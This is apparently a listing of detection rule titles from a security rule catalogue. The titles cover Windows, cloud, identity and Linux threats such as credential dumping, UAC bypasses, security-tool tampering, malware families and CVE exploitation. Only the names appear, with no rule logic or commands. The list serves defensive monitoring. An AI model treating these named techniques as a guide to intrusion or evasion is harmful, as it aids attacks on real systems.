VBScript Suspicious Key Manager Access Rundll32 Execution Without CommandLine Parameters Mshtml.DLL RunHTMLApplication Suspicious Usage Suspicious NTLM Authentication on the Printer Spooler Service Process Memory Dump Via Comsvcs.DLL Rundll32 Registered COM Objects Shell32 DLL Execution in Suspicious Directory RunDLL32 Spawning Explorer Suspicious Control Panel DLL Load Suspicious Rundll32 Execution With Image Extension Suspicious Usage Of ShellExec_RunDLL Suspicious ShellExec_RunDLL Call Via Ordinal ShimCache Flush Suspicious Rundll32 Activity Invoking Sys File Rundll32 UNC Path Execution Suspicious Modification Of Scheduled Tasks Suspicious WebDav Client Execution Via Rundll32.EXE Rundll32 Execution Without Parameters Suspicious Schtasks Execution AppData Folder Suspicious Scheduled Task Creation Involving Temp Folder Delete Important Scheduled Task Delete All Scheduled Tasks Disable Important Scheduled Task Schtasks From Suspicious Folders Uncommon One Time Only Scheduled Task At 00:00 Potential Persistence Via Powershell Search Order Hijacking - Task Scheduled Task Executing Encoded Payload from Registry Suspicious Schtasks Schedule Types Suspicious Command Patterns In Scheduled Task Creation Schtasks Creation Or Modification With SYSTEM Privileges Script Event Consumer Spawning Process Possible Privilege Escalation via Weak Service Permissions Allow Service Access Using Security Descriptor Tampering Via Sc.EXE Deny Service Access Using Security Descriptor Tampering Via Sc.EXE Service DACL Abuse To Hide Services Via Sc.EXE Suspicious Service Path Modification Sdiagnhost Calling Suspicious Child Process Suspicious Serv-U Process Pattern Uncommon Child Process Of Setres.EXE Suspicious Splwow64 Without Params Suspicious Spool Service Child Process VeeamBackup Database Credentials Dump Via Sqlcmd.EXE SQLite Chromium Profile Data DB Access SQLite Firefox Profile Data DB Access Potential RDP Tunneling Via SSH Execution via stordiag.exe Abused Debug Privilege by Arbitrary Parent Processes User Added To Highly Privileged Group User Added to Remote Desktop Users Group Phishing Pattern ISO in Archive Bad Opsec Defaults Sacrificial Processes With Improper Arguments Suspicious Child Process Created as System Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image Potential Crypto Mining Activity LOL-Binary Copied From System Directory Potential Data Exfiltration Activity Via CommandLine Tools Raccine Uninstall Suspicious Parent Double Extension File Execution Suspicious Download from Office Domain Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2 Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1 Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3 ETW Logging Tamper In .NET Processes Via CommandLine Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4 ETW Trace Evasion Activity Suspicious Eventlog Clearing or Configuration Change Activity Potentially Suspicious Execution From Parent Process In Public Folder Process Execution From A Potentially Suspicious Folder Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS Execution Of Non-Existing File Base64 MZ Header In CommandLine Potential WinAPI Calls Via CommandLine LSASS Dump Keyword In CommandLine Non-privileged Usage of Reg or Powershell Suspicious Process Patterns NTDS.DIT Exfil Potentially Suspicious Call To Win32_NTEventlogFile Class Suspicious Process Parents Potential PowerShell Execution Via DLL Privilege Escalation via Named Pipe Impersonation Suspicious Program Names Suspicious Process Execution From Fake Recycle.Bin Folder Suspicious Redirection to Local Admin Share Potential Defense Evasion Via Right-to-Left Override Script Interpreter Execution From Suspicious Folder Suspicious Script Execution From Temp Folder Sensitive File Access Via Volume Shadow Copy Backup Suspicious New Service Creation Suspicious Service Binary Directory Suspicious Windows Service Tampering System File Execution Location Anomaly Shadow Copies Deletion Using Operating Systems Utilities Windows Shell/Scripting Processes Spawning Suspicious Programs Suspicious SYSTEM User Process Creation Tasks Folder Evasion WhoAmI as Parameter Execution via WorkFolders.exe Suspect Svchost Activity Suspicious Process Masquerading As SvcHost.EXE Terminal Service Process Spawn Suspicious Active Directory Database Snapshot Via ADExplorer Kernel Memory Dump Via LiveKD Potential SysInternals ProcDump Evasion Potential LSASS Process Dump Via Procdump PsExec/PAExec Escalation to LOCAL SYSTEM Potential PsExec Remote Execution PsExec Service Child Process Execution as LOCAL SYSTEM Sysinternals PsSuspend Suspicious Execution Potential File Overwrite Via Sysinternals SDelete Potential Privilege Escalation To LOCAL SYSTEM Uninstall Sysinternals Sysmon Potential Signing Bypass Via Windows Developer Features Taskkill Symantec Endpoint Protection Taskmgr as LOCAL_SYSTEM Suspicious TSCON Start as SYSTEM Bypass UAC via CMSTP Suspicious RDP Redirect Using TSCON UAC Bypass Using Disk Cleanup UAC Bypass Using ChangePK and SLUI CMSTP UAC Bypass via COM Object Access UAC Bypass Tools Using ComputerDefaults UAC Bypass Using Consent and Comctl32 - Process UAC Bypass Using DismHost Bypass UAC via Fodhelper.exe UAC Bypass Using Event Viewer RecentViews UAC Bypass Using NTFS Reparse Point - Process UAC Bypass via ICMLuaUtil UAC Bypass Using IDiagnostic Profile UAC Bypass Using IEInstal - Process UAC Bypass Using MSConfig Token Modification - Process UAC Bypass Using PkgMgr and DISM UAC Bypass Abusing Winsat Path Parsing - Process UAC Bypass Using Windows Media Player - Process Bypass UAC via WSReset.exe UAC Bypass WSReset Suspicious UltraVNC Execution Uninstall Crowdstrike Falcon Sensor Uncommon Userinit Child Process Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script VMToolsd Suspicious Child Process Renamed Visual Studio Code Tunnel Execution Use of W32tm as Timer Wab Execution From Non Default Location Wab/Wabmig Unusual Parent Or Child Processes All Backups Deleted Via Wbadmin.EXE Sensitive File Dump Via Wbadmin.EXE Sensitive File Recovery From Backup Via Wbadmin.EXE Chopper Webshell Process Pattern Webshell Hacking Activity Patterns Webshell Detection With Command Line Keywords Suspicious Process By Web Server Process Potential Credential Dumping Via WER Webshell Tool Reconnaissance Activity Suspicious Child Process Of Wermgr.EXE Suspicious Execution Location Of Wermgr.EXE Suspicious File Download From IP Via Wget.EXE Suspicious File Download From File Sharing Domain Via Wget.EXE Suspicious File Download From IP Via Wget.EXE - Paths Whoami.EXE Execution From Privileged Process Security Privileges Enumeration Via Whoami.EXE Add Insecure Download Source To Winget Suspicious Processes Spawned by WinRM New ActiveScriptEventConsumer Created Via Wmic.EXE Potential Windows Defender Tampering Via Wmic.EXE Suspicious WMIC Execution Via Office Process Suspicious Process Created Via Wmic.EXE Potential Tampering With Security Products Via WMIC Suspicious WmiPrvSE Child Process UEFI Persistence Via Wpbbin - ProcessCreation Cscript/Wscript Uncommon Script Extension Execution Proxy Execution Via Wuauclt.EXE Suspicious Windows Update Agent Empty Cmdline Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths Wusa.EXE Executed By Parent Process Located In Suspicious Location Xwizard.EXE Execution From Non-Default Location Potential NetWire RAT Activity - Registry Potential Persistence Via New AMSI Providers - Registry Suspicious Execution Of Renamed Sysinternals Tools - Registry Folder Removed From Exploit Guard ProtectedFolders List - Registry Terminal Server Client Connection History Cleared - Registry Removal Of AMSI Provider Registry Keys Creation of a Local Hidden User Account by Registry UAC Bypass Via Wsreset CMSTP Execution Registry Event Disable Security Events Logging Adding Reg Key MiniNt Esentutl Volume Shadow Copy Service Keys Wdigest CredGuard Registry Modification HybridConnectionManager Service Installation - Registry Potential Qakbot Registry Activity Narrator's Feedback-Hub Persistence NetNTLM Downgrade Attack - Registry Registry Persistence Mechanisms in Recycle Bin RedMimicry Winnti Playbook Registry Manipulation WINEKEY Registry Modification Shell Open Registry Keys Manipulation Security Support Provider (SSP) Added to LSA Configuration Suspicious Run Key from Download DLL Load via LSASS Suspicious Camera and Microphone Access Registry Persistence via Service in Safe Mode Potential AMSI COM Server Hijacking Bypass UAC Using Event Viewer Blackbyte Ransomware Registry Bypass UAC Using DelegateExecute Bypass UAC Using SilentCleanup Task Default RDP Port Changed to Non Standard Port Sysmon Driver Altitude Change Change Winevt Channel Access Permission Via Registry Running Chrome VPN Extensions via the Registry 2 VPN Extension Potential CobaltStrike Service Installations - Registry COM Hijack via Sdclt Service Binary in Suspicious Folder Custom File Open Handler Executes PowerShell Antivirus Filter Driver Disallowed On Dev Drive - Registry Hypervisor Enforced Code Integrity Disabled Hypervisor Enforced Paging Translation Disabled DHCP Callout DLL Installation Disabled Windows Defender Eventlog Disable PUA Protection on Windows Defender Potential AutoLogger Sessions Tampering Disable Macro Runtime Scan Scope Registry Disable System Restore Windows Defender Service Disabled - Registry Disable Windows Event Logging Via Registry New DNS ServerLevelPluginDll Installed ETW Logging Disabled In .NET Processes - Sysmon Registry Directory Service Restore Mode(DSRM) Registry Value Tampering Potential EventLog File Location Tampering Suspicious Application Allowed Through Exploit Guard Change User Account Associated with the FAX Service Change the Fax Dll New File Association Using Exefile Add Debugger Entry To Hangs Key For Persistence Persistence Via Hhctrl.ocx Hide Schedule Task Via Index Value Tamper Driver Added To Disallowed Images In HVCI - Registry IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Uncommon Extension In Keyboard Layout IME File Registry Value Suspicious Path In Keyboard Layout IME File Registry Value Potential Ransomware Activity Using LegalNotice Message Lolbas OneDriveStandaloneUpdater.exe Proxy Download Lsass Full Dump Request Via DumpType Registry Settings RestrictedAdminMode Registry Value Tampering Blue Mockingbird - Registry New Netsh Helper DLL Registered From A Suspicious Location NET NGenAssemblyUsageLog Registry Key Tamper Potentially Suspicious ODBC Driver Registered Microsoft Office Protected View Disabled Trust Access Disable For VBApplications Python Function Execution Security Warning Disabled In Excel - Registry Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting Outlook Macro Execution Without Warning Setting Enabled Outlook EnableUnsafeClientMailRules Setting Enabled - Registry Uncommon Microsoft Office Trusted Location Added Macro Enabled In A Potentially Suspicious Document Office Macros Warning Disabled Potential Persistence Via App Paths Default Property Potential Persistence Via AutodialDLL Potential Persistence Via CHM Helper DLL Potential PSFactoryBuffer COM Hijacking COM Object Hijacking Via Modification Of Default System CLSID Default Value Potential Persistence Via GlobalFlags Potential Persistence Via LSA Extensions Potential Persistence Via Mpnotify Potential Persistence Via Excel Add-in - Registry Potential Persistence Via MyComputer Registry Keys Potential Persistence Via TypedPaths Potential Persistence Via Outlook Today Page Potential WerFault ReflectDebugger Registry Value Abuse Suspicious Shim Database Patching Activity Potential Attachment Manager Settings Associations Tamper Potential Persistence Via Outlook Home Page Potential Persistence Via DLLPathOverride Potential Persistence Via Shim Database In Uncommon Location Potential Attachment Manager Settings Attachments Tamper PowerShell as a Service in Registry PowerShell Logging Disabled Via Registry Key Tampering Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG Usage of Renamed Sysinternals Tools - RegistrySet Potentially Suspicious Command Executed Via Run Dialog Box - Registry Tamper With Sophos AV Registry Keys Hiding User Account Via SpecialAccounts Registry Key Suspicious Environment Variable Has Been Registered Suspicious Printer Driver Empty Manufacturer Registry Persistence via Explorer Run Key New RUN Key Pointing to Suspicious Folder Modify User Shell Folders Startup Value Enable LM Hash Storage Scheduled TaskCache Change by Uncommon Program Potential Registry Persistence Attempt Via Windows Telemetry RDP Sensitive Settings Changed New TimeProviders Registered With Uncommon DLL Name Potential Signing Bypass Via Windows Developer Features - Registry UAC Bypass via Event Viewer UAC Bypass via Sdclt UAC Bypass Abusing Winsat Path Parsing - Registry UAC Bypass Using Windows Media Player - Registry VBScript Payload Stored in Registry Wdigest Enable UseLogonCredential Execution DLL of Choice Using WAB.EXE Disable Windows Defender Functionalities Via Registry Keys Winlogon Notify Key Logon Persistence Sysmon Configuration Error Sysmon Configuration Modification Sysmon Blocked Executable Sysmon Blocked File Shredding Suspicious Scripting in a WMI Consumer Suspicious Encoded Scripts in a WMI Consumer Rejetto HTTP File Server RCE Adwind RAT / JRAT Fireball Archer Install Malware Shellcode in Verclsid Target Process Potential PlugX Activity StoneDrill Service Install Potential APT10 Cloud Hopper Activity Ps.exe Renamed SysInternals Tool Equation Group C2 Communication Lazarus System Binary Masquerading Turla Service Install Sofacy Trojan Loader Activity Potential MuddyWater APT Activity TropicTrooper Campaign November 2018 Potential BearLPE Exploitation Exploiting SetupComplete.cmd CVE-2019-1378 Potential Baby Shark Malware Activity Chafer Malware URL Pattern Potential Emotet Activity Formbook Process Creation Potential Ryuk Ransomware Activity Potential Snatch Ransomware Activity Ursnif Malware Download URL Pattern Potential Ursnif Malware Activity - Registry APT40 Dropbox Tool User Agent Potential EmpireMonkey Activity Mustang Panda Dropper Operation Wocao Activity Operation Wocao Activity - Security CVE-2020-0688 Exploitation Attempt CVE-2020-0688 Exploitation via Eventlog ComRAT Network Communication Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC Suspicious PrinterPorts Creation (CVE-2020-1048) Exploited CVE-2020-10189 Zoho ManageEngine CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry TerraMaster TOS CVE-2020-28188 Blue Mockingbird GALLIUM IOCs Trickbot Malware Activity Potential Ke3chang/TidePool Malware Activity Cisco ASA FTD Exploit CVE-2020-3452 Oracle WebLogic Exploit CVE-2020-14882 GALLIUM Artefacts - Builtin UNC2452 Process Creation Patterns Suspicious VBScript UN2452 Pattern TAIDOOR RAT DLL Load Possible Exploitation of Exchange RCE CVE-2021-42321 Possible CVE-2021-1675 Print Spooler Exploitation CVE-2021-21972 VSphere Exploitation CVE-2021-21978 Exploitation Attempt VMware vCenter Server File Upload CVE-2021-22005 Pulse Connect Secure RCE Attack CVE-2021-22893 Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt Potential CVE-2021-26084 Exploitation Attempt Exploitation of CVE-2021-26814 in Wazuh Potential CVE-2021-26857 Exploitation Attempt CVE-2021-26858 Exchange Exploitation Suspicious Word Cab File Write CVE-2021-40444 Potential CVE-2021-40444 Exploitation Attempt Potential Exploitation Attempt From Office Application ADSelfService Exploitation LPE InstallerFileTakeOver PoC CVE-2021-41379 CVE-2021-41773 Exploitation Attempt Sitecore Pre-Auth RCE CVE-2021-42237 Suspicious Computer Account Name Change CVE-2021-42287 CVE-2021-44077 POC Default Dropped File Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon Log4j RCE CVE-2021-44228 Generic Log4j RCE CVE-2021-44228 in Fields Exchange ProxyShell Pattern Suspicious RazerInstaller Explorer Subprocess SonicWall SSL/VPN Jarrewrite Exploitation Potential BlackByte Ransomware Activity Conti Volume Shadow Listing Conti NTDS Exfiltration Command Potential Conti Ransomware Database Dumping Activity Via SQLCmd Potential Devil Bait Related Indicator Potential Devil Bait Malware Reconnaissance Devil Bait Potential C2 Communication Traffic Goofy Guineapig Backdoor IOC Potential Goofy Guineapig Backdoor Activity Potential Goofy Guineapig GoolgeUpdate Process Anomaly Goofy Guineapig Backdoor Potential C2 Communication Pingback Backdoor File Indicators Pingback Backdoor DLL Loading Activity Pingback Backdoor Activity Small Sieve Malware File Indicator Creation Small Sieve Malware CommandLine Indicator Small Sieve Malware Registry Persistence Exchange Exploitation Used by HAFNIUM APT PRIVATELOG Image Load Pattern SOURGUM Actor Behaviours DEWMODE Webshell Access Potential CVE-2023-21554 QueueJumper Exploitation Potential CVE-2022-21587 Exploitation Attempt CVE-2022-24527 Microsoft Connected Cache LPE Potential CVE-2022-26809 Exploitation Attempt Potential CVE-2022-29072 Exploitation Attempt CVE-2022-31656 VMware Workspace ONE Access Auth Bypass Apache Spark Shell Command Injection - Weblogs Atlassian Bitbucket Command Injection Via Archive API Potential OWASSRF Exploitation Attempt - Proxy Potential OWASSRF Exploitation Attempt - Webserver Suspicious Sysmon as Execution Parent Exploitation Indicator Of CVE-2022-42475 Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877 Potential CVE-2022-46169 Exploitation Attempt MSSQL Extended Stored Procedure Backdoor Maggie BlueSky Ransomware Artefacts Potential Bumblebee Remote Thread Creation ChromeLoader Malware Execution Emotet Loader Execution Via .LNK File Hermetic Wiper TG Process Patterns Raspberry Robin Subsequent Execution of Commands Raspberry Robin Initial Execution From External Drive Serpent Backdoor Payload Execution Via Scheduled Task Potential Raspberry Robin Dot Ending File Potential ACTINIUM Persistence Activity FakeUpdates/SocGholish Activity MERCURY APT Activity MSMQ Corrupted Packet Encountered Exploitation Indicators Of CVE-2023-20198 CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux) Potential CVE-2023-23752 Exploitation Attempt Potential CVE-2023-25157 Exploitation Attempt Potential CVE-2023-25717 Exploitation Attempt Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution Potential CVE-2303-36884 URL Request Pattern Traffic Potential CVE-2023-36884 Exploitation - URL Marker Potential CVE-2023-36884 Exploitation - Share Access CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy Potential Information Disclosure CVE-2023-43261 Exploitation - Web Exploitation Attempt Of CVE-2023-46214 Using Public POC Code CVE-2023-46747 Exploitation Activity - Proxy CVE-2023-46747 Exploitation Activity - Webserver CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver Potential Exploitation Attempt Of Undocumented WindowsServer RCE Potential SocGholish Second Stage C2 DNS Query Potential COLDSTEEL RAT File Indicators Potential COLDSTEEL Persistence Service DLL Creation Potential COLDSTEEL Persistence Service DLL Load COLDSTEEL RAT Anonymous User Process Execution Potential COLDSTEEL RAT Windows User Creation COLDSTEEL Persistence Service Creation DarkGate - Autoit3.EXE Execution Parameters DarkGate - User Created Via Net.EXE Injected Browser Process Spawning Rundll32 - GuLoader Activity IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32 Potential Pikabot C2 Activity Potential Pikabot Discovery Activity Potential Pikabot Hollowing Activity Pikabot Fake DLL Extension Execution Via Rundll32.EXE Qakbot Regsvr32 Calc Pattern Potential Qakbot Rundll32 Execution Qakbot Uninstaller Execution SNAKE Malware WerFault Persistence File Creation Potential SNAKE Malware Installation CLI Arguments Indicator Potential SNAKE Malware Installation Binary Indicator Potential SNAKE Malware Persistence Service Execution SNAKE Malware Covert Store Registry Key Ursnif Redirection Of Discovery Commands Potential Compromised 3CXDesktopApp Beaconing Activity - DNS Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon Potential Compromised 3CXDesktopApp Execution Potential Suspicious Child Process Of 3CXDesktopApp Potential Compromised 3CXDesktopApp Update Activity Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy Potential Compromised 3CXDesktopApp ICO C2 File Download Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor - Task Scheduler Diamond Sleet APT DNS Communication Indicators Diamond Sleet APT File Creation Indicators Diamond Sleet APT DLL Sideloading Indicators Diamond Sleet APT Process Activity Indicators Diamond Sleet APT Scheduled Task Creation - Registry Potential Operation Triangulation C2 Beaconing Activity - DNS Potential Operation Triangulation C2 Beaconing Activity - Proxy Potential APT FIN7 Related PowerShell Script Created Potential APT FIN7 POWERHOLD Execution Potential POWERTRASH Script Execution Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity Lace Tempest File Indicators Lace Tempest PowerShell Evidence Eraser Lace Tempest PowerShell Launcher Lace Tempest Cobalt Strike Download Lace Tempest Malware Loader Execution Lazarus APT DLL Sideloading Activity Mint Sandstorm - Log4J Wstomcat Process Execution Potential APT Mustang Panda Activity Against Australian Gov Onyx Sleet APT File Creation Indicators PaperCut MF/NG Exploitation Related Indicators PaperCut MF/NG Potential Exploitation Peach Sandstorm APT Process Activity Indicators UNC4841 - Email Exfiltration File Pattern UNC4841 - Barracuda ESG Exploitation Indicators UNC4841 - SSL Certificate Exfiltration Via Openssl UNC4841 - Download Compressed Files From Temp.sh Using Wget UNC4841 - Download Tar File From Untrusted Direct IP Via Wget CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity CVE-2024-49113 Exploitation Attempt - LDAP Nightmare CVE-2024-50623 Exploitation Attempt - Cleo Potential CSharp Streamer RAT Loading .NET Executable Image File Creation Related To RAT Clients Potential KamiKakaBot Activity - Winlogon Shell Persistence Potential Kapeka Decrypted Backdoor Indicator Kapeka Backdoor Loaded Via Rundll32.EXE Kapeka Backdoor Persistence Activity Kapeka Backdoor Execution Via RunDLL32.EXE Kapeka Backdoor Autorun Persistence Kapeka Backdoor Scheduled Task Creation Lummac Stealer Activity - Execution Of More.com And Vbc.exe Potential Raspberry Robin Aclui Dll SideLoading Potential Raspberry Robin CPL Execution Activity DPRK Threat Actor - C2 Communication DNS Indicators Forest Blizzard APT - File Creation Activity Forest Blizzard APT - Process Creation Activity Forest Blizzard APT - Custom Protocol Handler Creation Forest Blizzard APT - Custom Protocol Handler DLL Registry Set ScreenConnect - SlashAndGrab Exploitation Indicators Privilege Role Elevation Not Occuring on SAW or PAW Privilege Role Sign-In Outside Expected Controls Privilege Role Sign-In Outside Of Normal Hours Potential Zerologon (CVE-2020-1472) Exploitation New RDP Connection Initiated From Domain Controller Dfsvc.EXE Initiated Network Connection Over Uncommon Port Sign-in Failure Bad Password Threshold CVE-2021-3156 Exploitation Attempt CVE-2021-3156 Exploitation Attempt Bruteforcing Potential CVE-2021-4034 Exploitation Attempt OMIGOD SCX RunAsProvider ExecuteScript Possible DNS Tunneling High DNS subdomain requests rate per domain Large domain name request Invoke-Obfuscation CLIP+ Launcher Invoke-Obfuscation Obfuscated IEX Invocation Invoke-Obfuscation STDIN+ Launcher Invoke-Obfuscation VAR+ Launcher Invoke-Obfuscation Via Stdin Invoke-Obfuscation Via Use Clip Invoke-Obfuscation Via Use MSHTA Invoke-Obfuscation Via Use Rundll32 Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION File Creation by Office Applications Execution via CL_Invocation.ps1 (2 Lines) Execution via CL_Mutexverifiers.ps1 (2 Lines) Silence.Downloader V3 DNSCat2 Powershell Implementation Detection Via Process Creation MSI Spawned Cmd and Powershell Spawned Processes Always Install Elevated Parent Child Correlated Stored Credentials in Fake Files Windows Kernel and 3rd-Party Drivers Exploits Token Stealing Metasploit Or Impacket Service Installation Via SMB PsExec Detection of Possible Rotten Potato
medium	1496	Show Rules (1496) App Permissions Granted For Other APIs Edit of .bash_profile and .bashrc User Added To Admin Group - MacOS Brute Force Suspicious Remote Thread Target Suspicious Unattend.xml File Access SCM DLL Sideload Suspicious Non-Browser Network Communication With Reddit API PsExec Pipes Artifacts Netcat The Powershell Version - PowerShell Module Accessing Encrypted Credentials from Google Chrome Login Database Suspicious PowerShell Download SyncAppvPublishingServer Execution to Bypass Powershell Restriction SyncAppvPublishingServer Execution to Bypass Powershell Restriction Potential NT API Stub Patching Read and Execute a File Via Cmd.exe Cmd Stream Redirection Visual Basic Script Execution Indirect Command Exectuion via Forfiles Invoke-Obfuscation RUNDLL LAUNCHER Monitoring Wuauclt.exe For Lolbas Execution Of DLL Abusing Findstr for Defense Evasion Nslookup PwSh Download Cradle Application Whitelisting Bypass via DLL Loaded by odbcconf.exe Potential PowerShell Base64 Encoded Shellcode Potential Xor Encoded PowerShell Command Renamed PaExec Execution Root Certificate Installed Suspicious Rundll32 Script in CommandLine Run from a Zip File Suspicious Bitstransfer via PowerShell Suspicious Cmd Execution via WMI Wscript Execution from Non C Drive Squirrel Lolbin Winword.exe Loads Suspicious DLL WMI Execution Via Office Process WMI Remote Command Execution WMI Reconnaissance List Remote Services Sysinternals SDelete Registry Keys Autorun Keys Modification Service Binary in Uncommon Folder Potential Persistence Via COM Search Order Hijacking PowerShell Execution Domain Trust Discovery Security Event Log Cleared Django Framework Exceptions Kubernetes CronJob/Job Modification Kubernetes Admission Controller Modification Kubernetes Events Deleted Potential Remote Command Execution In Pod Container Creation Of Pod In System Namespace Kubernetes Rolebinding Modification Kubernetes Secrets Modified or Deleted Potential Sidecar Injection Into Running Deployment Python SQL Exceptions Ruby on Rails Framework Exceptions Spring Framework Exceptions Suspicious SQL Query AWS Attached Malicious Lambda Layer AWS CloudTrail Important Change New Network Route Added Ingress/Egress Security Group Modification LoadBalancer Security Group Modification RDS Database Security Group Modification AWS Console GetSigninToken Potential Abuse SES Identity Has Been Deleted AWS SAML Provider Deletion Activity AWS S3 Bucket Versioning Disable AWS Key Pair Import Activity AWS EC2 Disable EBS Encryption AWS ECS Task Definition That Queries The Credential Endpoint AWS EFS Fileshare Modified or Deleted AWS EFS Fileshare Mount Modified or Deleted AWS IAM Backdoor Users Keys New AWS Lambda Function URL Configuration Created AWS RDS Master Password Change AWS Root Credentials AWS Snapshot Backup Exfiltration AWS Suspicious SAML Activity Azure Active Directory Hybrid Health AD FS New Server Azure Active Directory Hybrid Health AD FS Service Delete User Added to an Administrator's Azure AD Role Azure Application Deleted Azure Application Gateway Modified or Deleted Azure Application Security Group Modified or Deleted Azure Application Credential Modified Number Of Resource Creation Or Deployment Activities Azure Device No Longer Managed or Compliant Azure Device or Configuration Modified or Deleted Azure DNS Zone Modified or Deleted Azure Firewall Modified or Deleted Azure Firewall Rule Collection Modified or Deleted Granting Of Permissions To An Account Azure Keyvault Key Modified or Deleted Azure Key Vault Modified or Deleted Azure Keyvault Secrets Modified or Deleted Azure Kubernetes Admission Controller Azure Kubernetes CronJob Azure Kubernetes Events Deleted Azure Kubernetes Network Policy Change Azure Kubernetes Pods Deleted Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted Azure Kubernetes Sensitive Role Access Azure Kubernetes Secret or Config Object Access Azure Kubernetes Service Account Modified or Deleted Disabled MFA to Bypass Authentication Mechanisms Azure Network Firewall Policy Modified or Deleted Azure Point-to-site VPN Modified or Deleted Azure Firewall Rule Configuration Modified or Deleted Azure Network Security Configuration Modified or Deleted Azure Virtual Network Device Modified or Deleted Azure New CloudShell Created Azure Owner Removed From Application or Service Principal Rare Subscription-level Operations In Azure Azure Service Principal Created Azure Service Principal Removed Azure Suppression Rule Created Azure Virtual Network Modified or Deleted Azure VPN Connection Modified or Deleted CA Policy Removed by Non Approved Actor CA Policy Updated by Non Approved Actor New CA Policy by Non-approved Actor Bitlocker Key Retrieval Certificate-Based Authentication Enabled Guest Users Invited To Tenant By Non Approved Inviters New Root Certificate Authority Added End User Consent Blocked Added Owner To Application App Assigned To Azure RBAC/Microsoft Entra Role Change to Authentication Method Azure Domain Federation Settings Modified User Added To Group With CA Policy Modification Access User Removed From Group With CA Policy Modification Access Guest User Invited By Non Approved Inviters User State Changed From Guest To Member Privileged Account Creation Multi Factor Authentication Disabled For User Account Password Reset By User Account Account Lockout Successful Authentications From Countries You Do Not Operate Out Of Increased Failed Authentications Of Any Type Authentications To Important Apps Using Single Factor Authentication Device Registration or Join Without MFA Application Using Device Code Authentication Flow Applications That Are Using ROPC Authentication Flow Account Disabled or Blocked for Sign in Attempts Login to Disabled Account Multifactor Authentication Denied Azure Unusual Authentication Interruption Multifactor Authentication Interrupted Users Authenticating To Other Azure AD Tenants User Access Blocked by Azure Conditional Access Bitbucket Global Permission Changed Bitbucket Global Secret Scanning Rule Deleted Bitbucket Global SSH Settings Changed Bitbucket Audit Log Configuration Updated Bitbucket User Details Export Attempt Detected Bitbucket User Login Failure Bitbucket User Login Failure Via SSH Bitbucket User Permissions Export Attempt Cisco Duo Successful MFA Authentication Via Bypass Code GCP Access Policy Deleted GCP Break-glass Container Workload Deployed Google Cloud Storage Buckets Modified or Deleted Google Cloud Re-identifies Sensitive Information Google Cloud DNS Zone Modified or Deleted Google Cloud Firewall Modified or Deleted Google Full Network Traffic Packet Capture Google Cloud Kubernetes Admission Controller Google Cloud Kubernetes CronJob Google Cloud Kubernetes RoleBinding Google Cloud Kubernetes Secrets Modified or Deleted Google Cloud Service Account Disabled or Deleted Google Cloud Service Account Modified Google Cloud SQL Database Modified or Deleted Google Cloud VPN Tunnel Modified or Deleted Google Workspace Application Access Level Modified Google Workspace Application Removed Google Workspace Granted Domain API Access Google Workspace MFA Disabled Google Workspace Role Modified or Deleted Google Workspace Role Privilege Deleted Google Workspace User Granted Admin Privileges Github Delete Action Invoked Github Fork Private Repositories Setting Enabled/Cleared Github Outside Collaborator Detected Github Repository/Organization Transferred Github SSH Certificate Configuration Changed New Federated Domain Added New Federated Domain Added - Exchange Activity from Suspicious IP Addresses Activity Performed by Terminated User Activity from Anonymous IP Addresses Data Exfiltration to Unsanctioned Apps Activity from Infrequent Country Microsoft 365 - Impossible Travel Activity Logon from a Risky IP Address Microsoft 365 - Potential Ransomware Activity PST Export Alert Using eDiscovery Alert PST Export Alert Using New-ComplianceSearchAction Suspicious OAuth App File Download Activities Microsoft 365 - Unusual Volume of File Deletion Microsoft 365 - User Restricted from Sending Email Okta Admin Functions Access Through Proxy Okta Admin Role Assigned to an User or Group Okta Admin Role Assignment Created Okta API Token Created Okta API Token Revoked Okta Application Modified or Deleted Okta Application Sign-On Policy Modified or Deleted Okta Identity Provider Created Okta Network Zone Deactivated or Deleted Okta MFA Reset or Deactivated Okta Policy Rule Modified or Deleted Okta Security Threat Detected Okta Unauthorized Access to App Okta User Account Locked Out Default Credentials Usage Bpfdoor TCP Ports Redirect File Time Attribute Change - Linux Remove Immutable File Attribute - Auditd Creation Of An User Account Data Exfiltration with Wget Masquerading as Linux Crond Process Modify System Firewall Suspicious C2 Activities Suspicious Commands Linux Program Executions in Suspicious Folders Suspicious History File Operations - Linux Systemd Service Creation Unix Shell Configuration 